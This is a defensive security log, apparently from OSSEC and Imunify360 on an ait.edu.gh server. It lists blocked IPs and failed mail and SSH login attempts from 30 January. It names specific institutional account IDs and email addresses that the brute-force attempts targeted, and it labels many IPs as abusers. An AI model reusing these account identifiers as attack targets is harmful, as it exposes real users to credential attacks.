IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:00-56.94.141.101.237


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.58.201.106
description:
Jan 30 00:56:07 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.58.201.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.58.201.106
description:
2025-01-30 00:56:09 dovecot_plain authenticator failed for host-5-58-201-106.bitternet.ua [5.58.201.106]:21000: 535 Incorrect authentication data (set_id=eng20b00207y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.230.65.53
description:
Jan 30 00:55:49 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.230.65.53 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.65.53
description:
2025-01-30 00:55:51 dovecot_plain authenticator failed for ([213.230.65.53]) [213.230.65.53]:57498: 535 Incorrect authentication data (set_id=eng20b00207y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.194.142.167
description:
Jan 30 00:57:15 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.194.142.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.146.148.173
description:
Jan 30 00:57:08 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.146.148.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.93.12.184
description:
2025-01-30 00:56:50 dovecot_plain authenticator failed for ([124.93.12.184]) [124.93.12.184]:15943: 535 Incorrect authentication data (set_id=ads20a00227y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.35.237.38
description:
2025-01-30 00:57:07 dovecot_login authenticator failed for ([183.105.138.168]) [211.35.237.38]:35314: 535 Incorrect authentication data (set_id=okyere)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.183.11.30
description:
2025-01-30 00:57:14 dovecot_login authenticator failed for ([103.183.11.30]) [103.183.11.30]:36806: 535 Incorrect authentication data (set_id=eng20a00118y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.127.143.140
description:
Jan 30 00:57:28 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.127.143.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.127.143.140
description:
2025-01-30 00:57:30 dovecot_login authenticator failed for ([116.127.143.140]) [116.127.143.140]:40277: 535 Incorrect authentication data (set_id=ads21b00192y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.255.91.161
description:
Jan 30 00:56:39 ait sshd[592559]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.255.91.161


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.68.46
description:
Jan 30 00:56:51 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.68.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.68.46
description:
2025-01-30 00:56:53 dovecot_login authenticator failed for ([59.98.150.190]) [122.160.68.46]:49598: 535 Incorrect authentication data (set_id=okyere@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.146.148.173
description:
2025-01-30 00:57:10 dovecot_plain authenticator failed for ([129.146.148.173]) [129.146.148.173]:35066: 535 Incorrect authentication data (set_id=ads20a00227y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
description:
2025-01-30 00:57:17 dovecot_login authenticator failed for ([112.194.142.167]) [112.194.142.167]:48206: 535 Incorrect authentication data (set_id=ads21b00192y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.80.223.144
description:
Jan 30 00:57:25 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.80.223.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
description:
2025-01-30 00:57:27 dovecot_login authenticator failed for ([220.80.223.144]) [220.80.223.144]:58918: 535 Incorrect authentication data (set_id=eng20a00118y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.93.12.184
description:
Jan 30 00:56:48 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.93.12.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.91.161
description:
Jan 30 00:56:39 ait sshd[592559]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.255.91.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.35.237.38
description:
Jan 30 00:57:05 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.35.237.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 30 00:57:12 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.87.10.83
description:
2025-01-30 00:57:54 dovecot_plain authenticator failed for ([197.87.10.83]) [197.87.10.83]:39594: 535 Incorrect authentication data (set_id=eng09b99891)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.171.127.190
description:
Jan 30 00:58:13 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.171.127.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.77.216.166
description:
2025-01-30 00:57:45 dovecot_plain authenticator failed for 79-77-216-166.dynamic.dsl.as9105.com [79.77.216.166]:64348: 535 Incorrect authentication data (set_id=eng09b99891@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.87.10.83
description:
Jan 30 00:57:52 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.87.10.83 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
description:
2025-01-30 00:57:56 dovecot_login authenticator failed for ([221.165.172.38]) [221.165.172.38]:55274: 535 Incorrect authentication data (set_id=ads21a00028y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.171.127.190
description:
2025-01-30 00:58:15 dovecot_login authenticator failed for ([111.171.127.190]) [111.171.127.190]:40748: 535 Incorrect authentication data (set_id=ads21a00028y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.65.238.250
description:
2025-01-30 00:58:26 dovecot_plain authenticator failed for (supecon) [185.65.238.250]:48777: 535 Incorrect authentication data (set_id=ads20b00296y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.77.216.166
description:
Jan 30 00:57:43 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.77.216.166 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 178.128.111.98
description:
Jan 30 00:59:28 ait sshd[593329]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.128.111.98


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.153.208.38
description:
Jan 30 00:59:30 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.153.208.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.153.208.38
description:
2025-01-30 00:59:32 dovecot_plain authenticator failed for ([61.153.208.38]) [61.153.208.38]:15601: 535 Incorrect authentication data (set_id=ads22a00059y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.128.111.98
description:
Jan 30 00:59:28 ait sshd[593329]: pam_imunify(sshd:auth): [IM360_RBL] The IP 178.128.111.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
description:
2025-01-30 00:59:39 dovecot_login authenticator failed for ([196.203.231.220]) [196.203.231.220]:45366: 535 Incorrect authentication data (set_id=ads20a00173y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.95.234
description:
Jan 30 00:59:53 ait sshd[593421]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.95.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.57.122.192
description:
Jan 30 00:59:53 ait sshd[593427]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.57.122.192 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.57.122.192
description:
Jan 30 00:59:53 ait sshd[593427]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.57.122.192  user=mysql


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.204.162.116
description:
Jan 30 01:00:24 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.204.162.116 has been locked due to Imunify RBL


